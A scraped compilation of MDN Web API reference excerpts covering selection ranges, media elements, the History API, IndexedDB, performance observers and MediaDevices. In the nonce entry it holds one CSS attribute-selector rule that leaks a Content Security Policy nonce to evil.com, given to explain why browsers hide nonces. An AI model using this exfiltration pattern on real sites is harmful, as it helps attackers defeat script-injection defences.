the htmlinputelement.setselectionrange() method sets the start and end positions of the current text selection in an <input> or <textarea> element. optionally, in newer browser versions, you can specify the direction in which selection should be considered to have occurred. this lets you indicate, for example, that the selection was set by the user clicking and dragging from the end of the selected text toward the beginning. this method updates the htmlinputelement.selectionstart, selectionend, and selectiondirection properties in one call. ...
...ging from the end of the selected text toward the beginning. this method updates the htmlinputelement.selectionstart, selectionend, and selectiondirection properties in one call. note that accordingly to the whatwg forms spec selectionstart, selectionend properties and setselectionrange method apply only to inputs of types text, search, url, tel and password. chrome, starting from version 33, throws an exception while accessing those properties and method on the rest of input types. for example, on input of type number: "failed to read the 'selectionstart' property from 'htmlinputelement': the input element's type ('number') does not support selection". if you wish to select all text of an input element, you can use the htmlinputelement.select() method instead. syntax element.setselection...
HTMLMediaElement.autoplay - Web APIs
so it should be avoided when possible. if you must offer autoplay functionality, you should make it opt-in (requiring a user to specifically enable it). however, autoplay can be useful when creating media elements whose source will be set at a later time, under user control. ...
...do not rely on autoplay actually starting playback and instead use play event. examples ... ...
HTMLMediaElement.currentTime - Web APIs
he current playback time in seconds. if the media is not yet playing, the value of currenttime indicates the time position within the media at which playback will begin once the play() method is called. setting currenttime to a new value seeks the media to the given time, if the media is available. for media without a known duration—such as media being streamed live—it's possible that the browser may not be able to obtain parts of the media that have expired from the media buffer. also, media whose timeline doesn't begin at 0 seconds cannot be seeked to a time before its timeline's earliest time. the length of the media in seconds can be determined using the duration property. example var video = document.createelement('video'); console.log(video.currenttime); usage notes reduced ...
... buffer. also, media whose timeline doesn't begin at 0 seconds cannot be seeked to a time before its timeline's earliest time. the length of the media in seconds can be determined using the duration property. example var video = document.createelement('video'); console.log(video.currenttime); usage notes reduced time precision to offer protection against timing attacks and fingerprinting, browsers may round or otherwise adjust the value returned by currenttime. specifications specification status comment html living standardthe definition of 'htmlmediaelement.currenttime' in that specification. living standard no change from html5 html5the definition of 'htmlmediaelement.currenttime' in that specification. recommendation initial definition.
HTMLObjectElement - Web APIs
ectelement.codebase is a domstring that reflects the codebase html attribute, specifying the base path to use to resolve relative uris. htmlobjectelement.codetype is a domstring that reflects the codetype html attribute, specifying the content type of the data. htmlobjectelement.contentdocument read only returns a document representing the active document of the object element's nested browsing context, if any; otherwise null. htmlobjectelement.contentwindow read only returns a windowproxy representing the window proxy of the object element's nested browsing context, if any; otherwise null. htmlobjectelement.data returns a domstring that reflects the data html attribute, specifying the address of a resource's data. htmlobjectelement.declare is a boolean that reflects the dec...
...wner, or null if there isn't one. htmlobjectelement.height returns a domstring that reflects the height html attribute, specifying the displayed height of the resource in css pixels. htmlobjectelement.hspace is a long representing the horizontal space in pixels around the control. htmlobjectelement.name returns a domstring that reflects the name html attribute, specifying the name of the browsing context. htmlobjectelement.standby is a domstring that reflects the standby html attribute, specifying a message to display while the object loads. htmlobjectelement.tabindex is a long representing the position of the element in the tabbing navigation order for the current document. htmlobjectelement.type is a domstring that reflects the type html attribute, specifying the mime type of...
HTMLOrForeignElement.nonce - Web APIs
the nonce property of the htmlorforeignelement interface returns the cryptographic number used once that is used by content security policy to determine whether a given fetch will be allowed to proceed. in later implementations, elements only expose their nonce attribute to scripts (and not to side-channels like css attribute selectors). examples retrieving a nonce value in the past, not all browsers supported the nonce idl attribute, so a workaround is to try to use getattribute as a fallback: let nonce = script['nonce'] || script.getattribute('nonce'); however, recent browsers version hide nonce values that are accessed this way (an empty string will be returned). the idl property (script['nonce']) will be the only way to access nonces. nonce hiding helps preventing that attackers exf...
...['nonce']) will be the only way to access nonces. nonce hiding helps preventing that attackers exfiltrate nonce data via mechanisms that can grab data from content attributes like this: script[nonce~=whatever] { background: url("https://evil.com/nonce?whatever"); } specifications specification html living standardthe definition of 'nonce' in that specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnoncechrome ...
HTMLSelectElement.add() - Web APIs
</select> */ specifications specification status comment html living standardthe definition of 'htmlselectelement.add()' in that specification. living standard html5the definition of 'htmlselectelement.add()' in that specification. recommendation is a snapshot of html living standard. the value of before can now be a long and is optional. ...
...tmlselectelement.add()' in that specification. living standard html5the definition of 'htmlselectelement.add()' in that specification. recommendation is a snapshot of html living standard. the value of before can now be a long and is optional. it throws a domerror of the type hierarchyrequesterror if the passed item is an ancestor of the htmlselectelement and no longer throws if the before parameter is not found. document object model (dom) level 2 html specificationthe definition of 'htmlselectelement.add()' in that specification. obsolete the method now throws an not_found_err exception if the item of the before parameter is not a child of this element. document object model (dom) level 1 specificationthe definition of 'htmlselectelement.add(...
HTMLTableElement.rules - Web APIs
the htmltableelement.rules property indicates which cell borders to render in the table. ...
... the htmltableelement.rules property indicates which cell borders to render in the table. ...
Using microtasks in JavaScript with queueMicrotask() - Web APIs
a microtask is a short function which is executed after the function or program which created it exits and only if the javascript execution stack is empty, but before returning control to the event loop being used by the user agent to drive the script's execution environment. this event loop may be either the browser's main event loop or the event loop driving a web worker. this lets the given function run without the risk of interfering with another script's execution, yet also ensures that the microtask runs before the user agent has the opportunity to react to actions taken by the microtask. javascript promises and the mutation observer api both use the microtask queue to run their callbacks, but there are other times when the ability to defer work until the current event loop pass is wra...
...nt loop continues processing microtasks until the queue is empty, there's a real risk of getting the event loop endlessly processing microtasks. be cautious with how you go about recursively adding microtasks. using microtasks before getting farther into this, it's important to note again that most developers won't use microtasks much, if at all. they're a highly specialized feature of modern browser-based javascript development, allowing you to schedule code to jump in front of other things in the long set of things waiting to happen on the user's computer. abusing this capability will lead to performance problems. enqueueing microtasks as such, you should typically use microtasks only when there's no other solution, or when creating frameworks or libraries that need to use microtasks in...
Headers.getAll() - Web APIs
Web › API › Headers › getAll
try to avoid using it. the getall() method of the headers interface used to return an array of all the values of a header within a headers object with a given name; in newer versions of the fetch spec, it has been deleted, and headers.get() has been updated to fetch all header values instead of only the first one. if the requested header doesn't exist in the headers object, it returns an empty array. ...
...it returns an empty array. for security reasons, some headers can only be controller by the user agent. these headers include the forbidden header names and forbidden response header names. syntax myheaders.getall(name); parameters name the name of the http header whose values you want to retrieve from the headers object. if the given name is not the name of an http header, this method throws a typeerror. returns an array containing a bytestring sequence representing the values of the retrieved header. example creating an empty headers object is simple: var myheaders = new headers(); // currently empty you could add a header to this using headers.append, then retrieve it using getall(): myheaders.append('content-type', 'image/jpeg'); myheaders.getall('content-type'); // return...
History.back() - Web APIs
Web › API › History › back
it has the same effect as calling history.go(-1). if there is no previous page, this method call does nothing. this method is asynchronous. add a listener for the popstate event in order to determine when the navigation has completed. syntax history.back() examples the following short example causes a button on the page to navigate back one entry in the session history. ...
...ment.getelementbyid('go-back').addeventlistener('click', () => { history.back(); }); specifications specification status comment html living standardthe definition of 'history.back()' in that specification. living standard no change from html5. html5the definition of 'history.back()' in that specification. recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetbackchrome ...
History.forward() - Web APIs
Web › API › History › forward
it has the same effect as calling history.go(1). this method is asynchronous. add a listener for the popstate event in order to determine when the navigation has completed. syntax history.forward() examples the following examples create a button that moves forward one step in the session history. html <button id='go-forward'>go forward!</button> javascript document.getelementbyid('go-forward').addeventlistener('click', e => { window.history.forward(); }) specifications specification status comment html living standardthe definition of 'history' in that specification. living standard no change from html5. ...
...ocument.getelementbyid('go-forward').addeventlistener('click', e => { window.history.forward(); }) specifications specification status comment html living standardthe definition of 'history' in that specification. living standard no change from html5. html5the definition of 'history' in that specification. recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetforwardchrome ...
History.replaceState() - Web APIs
d parameters. this method is particularly useful when you want to update the state object or url of the current history entry in response to some user action. syntax history.replacestate(stateobj, title, [url]) parameters stateobj the state object is a javascript object which is associated with the history entry passed to the replacestate method. the state object can be null. title most browsers currently ignore this parameter, although they may use it in the future. passing the empty string here should be safe against future changes to the method. alternatively, you could pass a short title for the state. url optional the url of the history entry. the new url must be of the same origin as the current url; otherwise replacestate throws an exception. examples suppose https://www.m...
...(stateobj, '', 'bar.html'); the explanation of these two lines above can be found in the example of pushstate() method section of the working with the history api article. then suppose https://www.mozilla.org/bar.html executes the following javascript: history.replacestate(stateobj, '', 'bar2.html'); this will cause the url bar to display https://www.mozilla.org/bar2.html, but won't cause the browser to load bar2.html or even check that bar2.html exists. suppose now that the user navigates to https://www.microsoft.com, then clicks the back button. at this point, the url bar will display https://www.mozilla.org/bar2.html. if the user now clicks back again, the url bar will display https://www.mozilla.org/foo.html, and totally bypass bar.html. specifications specification statu...
IDBCursor.source - Web APIs
Web › API › IDBCursor › source
note: this feature is available in web workers. syntax var source = cursor.source; value the idbobjectstore or idbindex that the cursor is iterating over. example in this simple fragment we create a transaction, retrieve an object store, then use a cursor to iterate through all the records in the object store. ...
...log(cursor.source); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specifications specification status comment indexed database api 2.0the definition of 'source' in that specification. recommendation indexed database api draftthe definition of 'source' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsourcechrome ...
IDBDatabase.deleteObjectStore() - Web APIs
eature is available in web workers. syntax dbinstance.deleteobjectstore(name); parameters name the name of the object store you want to delete. exceptions this method may raise a domexception of one of the following types: exception description invalidstateerror occurs if the method was not called from a versionchange transaction callback. for older webkit browsers, you must call first. transactioninactiveerror occurs if a request is made on a source database that doesn't exist (e.g. has been deleted or removed.) in firefox previous to version 41, an invalidstateerror was raised in this case as well, which was misleading; this has now been fixed (see bug 1176165.) notfounderror you are trying to delete an object store that does n...
...tore("store1"); db.createobjectstore("store2"); } // etc. for version < 3, 4... }; specification specification status comment indexed database api 2.0the definition of 'deleteobjectstore()' in that specification. recommendation indexed database api draftthe definition of 'deleteobjectstore()' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdeleteobjectstorechrome...
IDBDatabase.onversionchange - Web APIs
recommendation indexed database api draftthe definition of 'onversionchange' in that specifi...
... other open version of this application, wherever it exists.</li>'; }; }; specifications specification status comment indexed database api 2.0the definition of 'onversionchange' in that specification. recommendation indexed database api draftthe definition of 'onversionchange' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetonversionchangechrome ...
IDBDatabase.transaction() - Web APIs
unless you actually need to write into the database. if you need to open the object store in readwrite mode to change data, you would use the following: var transaction = db.transaction('my-store-name', "readwrite"); as of firefox 40, indexeddb transactions have relaxed durability guarantees to increase performance (see bug 1112702), which is the same behaviour as other indexeddb-supporting browsers. previously in a readwrite transaction idbtransaction.oncomplete was fired only when all data was guaranteed to have been flushed to disk. in firefox 40+ the complete event is fired after the os has been told to write the data but potentially before that data has actually been flushed to disk. the complete event may thus be delivered quicker than before, however, there exists a small chance th...
...ng to this database // via an object store var objectstore = transaction.objectstore("todolist"); // etc. specification specification status comment indexed database api 2.0the definition of 'transaction()' in that specification. recommendation indexed database api draftthe definition of 'transaction()' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internettransactionchrome ...
IDBFactory.cmp() - Web APIs
Web › API › IDBFactory › cmp
b workers. note: do not use this method for comparing arbitrary javascript values, because many javascript values are either not valid indexeddb keys (booleans and objects, for example) or are treated as equivalent indexeddb keys (for example, since indexeddb ignores arrays with non-numeric properties and treats them as empty arrays, so any non-numeric arrays are treated as equivalent). this throws an exception if either of the values is not a valid key. syntax var result = indexeddb.cmp(first, second); parameters first the first key to compare. second the second key to compare. return value an integer that indicates the result of the comparison; the table below lists the possible values and their meanings: returned value description -1 1st key is less ...
...ple var a = 1; var b = 2; var result = window.indexeddb.cmp(a, b); console.log( "comparison results: " + result ); specifications specification status comment indexed database api 2.0the definition of 'cmp()' in that specification. recommendation indexed database api draftthe definition of 'cmp()' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcmpchrome ...
databases - Web APIs
syntax const promise = indexeddb.databases() parameters the method does not take in any parameters. return value a promise that resolves either to an error or a list of dictionaries, each with two elements, name and version. ...
... origin. other error specification does not describe all possible errors. example const promise = indexeddb.databases() promise.then(databases => { console.log(databases) }) specifications specification status comment indexed database api draftthe definition of 'databases()' in that specification. recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdatabases experimental...
IDBFactory.open() - Web APIs
Web › API › IDBFactory › open
tabase, plus a storage value that specifies whether you want to use persistent or temporary storage. warning: the storage attribute is deprecated and will soon be removed from gecko. you should use storagemanager.persist() to get persistent storage instead. note: you can find out more information on the different available storage types, and how firefox handles client-side data storage, at browser storage limits and eviction criteria. return value a idbopendbrequest object on which subsequent events related to this request are fired. exceptions this method may raise a domexception of the following types: exception description typeerror the value of version is zero or a negative number or not a number. example example of calling open with the curr...
... variable. this is used a lot later on, for opening // transactions and suchlike. db = dbopenrequest.result; }; specifications specification status comment indexed database api 2.0the definition of 'open()' in that specification. recommendation indexed database api draftthe definition of 'open()' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetopenchrome ...
IDBIndex.get() - Web APIs
Web › API › IDBIndex › get
an idbkeyrange. if a value is found, then a structured clone of it is created and set as the result of the request object: this returns the record the key is associated with. note: this feature is available in web workers. syntax var request = myindex.get(key); parameters key optional a key or idbkeyrange that identifies the record to be retrieved. if this value is null or missing, the browser will use an unbound key range. return value an idbrequest object on which subsequent events related to this operation are fired. exceptions this method may raise a domexception of one of the following types: exception description transactioninactiveerror this idbindex's transaction is inactive. dataerror the key or key range provided contains a...
...ue.phone + '</td>' + '<td>' + cursor.value.age + '</td>'; tableentry.appendchild(tablerow); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification status comment indexed database api 2.0the definition of 'get()' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetgetchrome ...
IDBIndex.getAll() - Web APIs
Web › API › IDBIndex › getAll
if you are just interested in looking at each of the keys, for instance, it is more efficient to use a cursor. if you are trying to get an array of all the objects in an object store, though, you should use getall(). ...
...cursor. if you are trying to get an array of all the objects in an object store, though, you should use getall(). syntax var getallkeysrequest = idbindex.getall(); var getallkeysrequest = idbindex.getall(query); var getallkeysrequest = idbindex.getall(query, count); parameters query optional a key or an idbkeyrange identifying the records to retrieve. if this value is null or missing, the browser will use an unbound key range. count optional the number records to return. if this value exceeds the number of records in the query, the browser will only retrieve the first item. if it is lower than 0 or greater than 232-1 a typeerror exception will be thrown. return value an idbrequest object on which subsequent events related to this operation are fired. exceptions this method may ra...
IDBIndex.getKey() - Web APIs
Web › API › IDBIndex › getKey
key is set to an idbkeyrange. if a primary key is found, it is set as the result of the request object. note that this doesn't return the whole record as idbindex.get does. note: this feature is available in web workers. syntax var request = myindex.getkey(key); parameters key optional a key or idbkeyrange that identifies a record to be retrieved. if this value is null or missing, the browser will use an unbound key range. return value an idbrequest object on which subsequent events related to this operation are fired. exceptions this method may raise a domexception of one of the following types: exception description transactioninactiveerror this idbindex's transaction is inactive. dataerror the key or key range provided contains a...
...ild(tablerow); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification status comment indexed database api 2.0the definition of 'getkey()' in that specification. recommendation indexed database api draftthe definition of 'getkey()' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetgetkeychrome ...
IDBKeyRange.includes() - Web APIs
attribute description dataerror the supplied key was not a valid key. example var keyrangevalue = idbkeyrange.bound('a', 'k', false, false); var myresult = keyrangevalue.includes('f'); // returns true var myresult = keyrangevalue.includes('w'); // returns false polyfill the includes() method was added in the second edition of the indexed db specification. for browsers that do not support it, the following polyfill can be used. idbkeyrange.prototype.includes = idbkeyrange.prototype.includes || function(key) { var r = this, c; if (r.lower !== undefined) { c = indexeddb.cmp(key, r.lower); if (r.loweropen && c <= 0) return false; if (!r.loweropen && c < 0) return false; } if (r.upper !== undefined) { c = indexeddb.cmp(key, r.upper); ...
...f (r.upperopen && c >= 0) return false; if (!r.upperopen && c > 0) return false; } return true; }; specification specification status comment indexed database api draftthe definition of 'includes()' in that specification. recommendation indexed database api draftthe definition of 'includes()' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetincludeschrome ...
IDBObjectStore.createIndex() - Web APIs
lot below. db = request.result; // run the displaydata() function to populate the task list with // all the to-do list data already in the idb displaydata(); }; // this handler fires when a new database is created and indicates // either that one has not been created before, or a new version // was submitted with window.indexeddb.open(). (see above.) // it is only implemented in recent browsers. dbopenrequest.onupgradeneeded = function(event) { var db = event.target.result; db.onerror = function(event) { note.innerhtml += '<li>error loading database.</li>'; }; // create an objectstore for this database var objectstore = db.createobjectstore("todolist", { keypath: "tasktitle" }); // define what data items the objectstore will contain objectstore.createindex("...
... "year", { unique: false }); objectstore.createindex("notified", "notified", { unique: false }); }; specifications specification status comment indexed database api 2.0the definition of 'createindex()' in that specification. recommendation indexed database api draftthe definition of 'createindex()' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcreateindexchrome ...
IDBObjectStore.deleteIndex() - Web APIs
his.result; // run the displaydata() function to populate the task list with all the to-do list data already in the idb displaydata(); }; // this event handles the event whereby a new version of the database needs to be created // either one has not been created before, or a new version number has been submitted via the // window.indexeddb.open line above //it is only implemented in recent browsers dbopenrequest.onupgradeneeded = function(event) { var db = this.result; db.onerror = function(event) { note.innerhtml += '<li>error loading database.</li>'; }; // create an objectstore for this database var objectstore = db.createobjectstore("todolist", { keypath: "tasktitle" }); // define what data items the objectstore will contain objectstore.createindex("hours", "...
..., { unique: false }); objectstore.deleteindex("seconds"); objectstore.deleteindex("contact"); }; specifications specification status comment indexed database api 2.0the definition of 'deleteindex()' in that specification. recommendation indexed database api draftthe definition of 'deleteindex()' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdeleteindexchrome ...
IDBOpenDBRequest.onblocked - Web APIs
t; // run the displaydata() function to populate the task list with // all the to-do list data already in the idb displaydata(); }; // this event handles the event whereby a new version of the // database needs to be created. either one has not been created // before, or a new version number has been submitted via the // window.indexeddb.open line above //it is only implemented in recent browsers request.onupgradeneeded = function(event) { var db = event.target.result; db.onerror = function(event) { note.innerhtml += '<li>error loading database.</li>'; }; // create an objectstore for this database var objectstore = db.createobjectstore("todolist", { keypath: "tasktitle" }); ... }; request.onblocked = function() { console.log("your database version can't be upgrade...
...nction() { console.log("your database version can't be upgraded because the app is open somewhere else."); } specifications specification status comment indexed database api 2.0the definition of 'onblocked' in that specification. recommendation indexed database api draftthe definition of 'onblocked' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetonblockedchrome ...
IDBTransaction.commit() - Web APIs
is called on an active transaction. note that commit() doesn't normally have to be called — a transaction will automatically commit when all outstanding requests have been satisfied and no new requests have been made. commit() can be used to start the commit process without waiting for events from outstanding requests to be dispatched. if it is called on a transaction that is not active, it throws an invalidstateerror domexception. note: this feature is available in web workers. syntax transaction.commit(); parameters none. return value void. exceptions exception description invalidstateerror the transaction state is not active. examples // open a read/write db transaction, ready for adding the data var transaction = db.transaction(["mydb"], "re...
...n the db - for that you need transaction.onsuccess) note.innerhtml += '<li>request successful.</li>'; }; // force the changes to be committed to the database asap transaction.commit(); specification specification status comment indexed database api draftthe definition of 'idbtransaction.commit()' in that specification. recommendation unitial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcommitchrome ...
IDBTransaction.oncomplete - Web APIs
previously in a readwrite transaction idbtransaction.oncomplete was fired only when all data was guaranteed to have been flushed to disk. ...
...he db - for that you need transaction.oncomplete) note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status comment indexed database api 2.0the definition of 'oncomplete' in that specification. recommendation indexed database api draftthe definition of 'oncomplete' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetoncompletechrome ...
Checking when a deadline is due - Web APIs
e quite different, with a number of different representations. recording the date information to provide a reasonable user experience on mobile devices, and to cut down on ambiguities, i decided to create an html form with: a text input for entering a title for your to-do list. this is the least avoidable bit of user typing. number inputs for the hour and minute parts of the deadline. on browsers that support type="number", you get a nice little up and down arrow number picker. on mobile platforms you tend to get a numeric keypad for entering data, which is helpful. on others you just get a standard text input, which is okay. <select> elements for inputting the day, month and year of the deadline. because these values are the most ambiguous for users to enter (7, sunday, sun? 04, 4, a...
...nth.value == '' || year.value == null) { note.innerhtml += '<li>data not submitted — form incomplete.</li>'; return; } in this segment, we check to see if the form fields have all been filled in. if not, we drop a message into our developer notifications pane (see the bottom left of the app ui) to tell the user what is going on, and exit out of the function. ...
IndexedDB API - Web APIs
uctured data, including files/blobs. this api uses indexes to enable high-performance searches of this data. while web storage is useful for storing smaller amounts of data, it is less useful for storing larger amounts of structured data. indexeddb provides a solution. this is the main landing page for mdn's indexeddb coverage — here we provide links to the full api reference and usage guides, browser support details, and some explanation of key concepts. note: this feature is available in web workers. note: indexeddb api is powerful, but may seem too complicated for simple cases. if you'd prefer a simple api, try libraries such as localforage, dexie.js, zangodb, pouchdb, idb, idb-keyval, jsstore and lovefield that make indexeddb more programmer-friendly. key concepts and usage indexed...
...t was removed from the spec because it was unclear whether it was needed. however, the synchronous api may be reintroduced if there is enough demand from web developers. storage limits and eviction criteria there are a number of web technologies that store data of one kind or another on the client side (i.e. on your local disk). indexeddb is most commonly talked about. the process by which the browser works out how much space to allocate to web data storage and what to delete when that limit is reached is not simple, and differs between browsers. browser storage limits and eviction criteria attempts to explain how this works, at least in the case of firefox. interfaces to get access to a database, call open() on the indexeddb attribute of a window object. this method returns an idbrequest ...
InterventionReportBody - Web APIs
the interventionreportbody interface of the reporting api represents the body of an intervention report (the return value of its report.body property). an intervention report is generated when usage of a feature in a web document has been blocked by the browser for reasons such as security, performance, or user annoyance. so for example, a script was been stopped because it was significantly slowing down the browser, or the browser's autoplay policy blocked audio from playing without a user gesture to trigger it. properties id a string representing the intervention that generated the report. this can be used to group reports by deprecated feature. message a string containing a human-readable description of the intervention, including information such how the intervention cou...
...y policy blocked audio from playing without a user gesture to trigger it. properties id a string representing the intervention that generated the report. this can be used to group reports by deprecated feature. message a string containing a human-readable description of the intervention, including information such how the intervention could be avoided. this typically matches the message a browser will display in its devtools console when an intervention is imposed, if one is available. sourcefile a string containing the path to the source file where the intervention occurred, if known, or null otherwise. linenumber a number representing the line in the source file in which the intervention occurred, if known, or null otherwise. columnnumber a number representing the column in the ...
KeyboardEvent.key - Web APIs
Web › API › KeyboardEvent › key
the shift and the 2 key using a u.s keyboard layout as compared to when we do so using a uk keyboard layout. try experimenting using the following two test cases: press and hold the shift key, then press 2 and release it. next, release the shift key. press and hold the shift key, then press and hold 2. release the shift key. finally, release 2. ...
... case 1 when the shift key is pressed, a keydown event is first fired, and the key property value is set to the string shift. as we keep holding this key, the keydown event does not continue to fire repeatedly because it does n...
LargestContentfulPaint - Web APIs
e a performanceobserver that listens for largest-contentful-paint entries and logs the lcp value to the console. this example also demonstrates how to include buffered entries (those that ocurred before observer() was called), which is done by setting the buffered option to true. note that in this example data is only sent to the server when the user leaves the tab. // catch errors since some browsers throw when using the new `type` option. // https://bugs.webkit.org/show_bug.cgi?id=209216 try { let lcp; const po = new performanceobserver((entrylist) => { const entries = entrylist.getentries(); const lastentry = entries[entries.length - 1]; // update `lcp` to the latest value, using `rendertime` if it's available, // otherwise using `loadtime`. (note: `rendertime` may ...
...entry.rendertime || lastentry.loadtime; }); po.observe({type: 'largest-contentful-paint', buffered: true}); // send data to the server. addeventlistener('visibilitychange', function fn() { if (lcp && document.visibilitystate === 'hidden') { console.log('lcp:', lcp); removeeventlistener('visibilitychange', fn, true); } }, true); } catch (e) { // do nothing if the browser doesn't support this api. } specifications specification status comment largest contentful paintthe definition of 'largestcontentfulpaint' in that specification. editor's draft initial definition. ...
LayoutShift - Web APIs
ift.sources returns an array of layoutshiftattribution objects with information on the elements that were shifted. methods layoutshift.tojson() converts the properties to json. examples the following example shows how to capture layout shifts and log them to the console. note that in this example data is only sent to the server when the user leaves the tab. // catch errors since some browsers throw when using the new `type` option. // https://bugs.webkit.org/show_bug.cgi?id=209216 try { let cumulativelayoutshiftscore = 0; const observer = new performanceobserver((list) => { for (const entry of list.getentries()) { // only count layout shifts without recent user input. if (!entry.hadrecentinput) { cumulativelayoutshiftscore += entry.value; } } }); obs...
...} specifications specification status comment layout instability apithe definition of 'layoutshift' in that specification. editor's draft initial definition. ...
MediaDeviceInfo.deviceId - Web APIs
the deviceid readonly property of the mediadeviceinfo interface returns a domstring that is an identifier for the represented device and is persisted across sessions. it is un-guessable by other applications, and unique to the origin of the calling application. it is reset when the user clears cookies. for private browsing, a different identifier is used that is not persisted across sessions. syntax var deviceid = mediadeviceinfo.deviceid value a domstring. specifications specification status comment media capture and streamsthe definition of 'deviceid' in that specification. candidate recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the...
...ue a domstring. specifications specification status comment media capture and streamsthe definition of 'deviceid' in that specification. candidate recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdeviceidchrome full support 55notes full support 55notes notes for earlier versions, this interface is availa...
MediaDevices.getSupportedConstraints() - Web APIs
iadevices.getsupportedconstraints(); parameters none. return value a new object based on the mediatracksupportedconstraints dictionary listing the constraints supported by the user agent. because only constraints supported by the user agent are included in the list, each of these boolean properties has the value true. ...
...ew object based on the mediatracksupportedconstraints dictionary listing the constraints supported by the user agent. because only constraints supported by the user agent are included in the list, each of these boolean properties has the value true. example this example outputs a list of the constraints supported by your browser. ...
MediaDevices - Web APIs
ure as a mediastream for sharing or recording purposes. returns a promise that resolves to a mediastream. getusermedia() with the user's permission through a prompt, turns on a camera and/or a microphone on the system and provides a mediastream containing a video track and/or an audio track with the input. example 'use strict'; // put variables in global scope to make them available to the browser console. var video = document.queryselector('video'); var constraints = window.constraints = { audio: false, video: true }; var errorelement = document.queryselector('#errormsg'); navigator.mediadevices.getusermedia(constraints) .then(function(stream) { var videotracks = stream.getvideotracks(); console.log('got stream with constraints:', constraints); console.log('using video device...
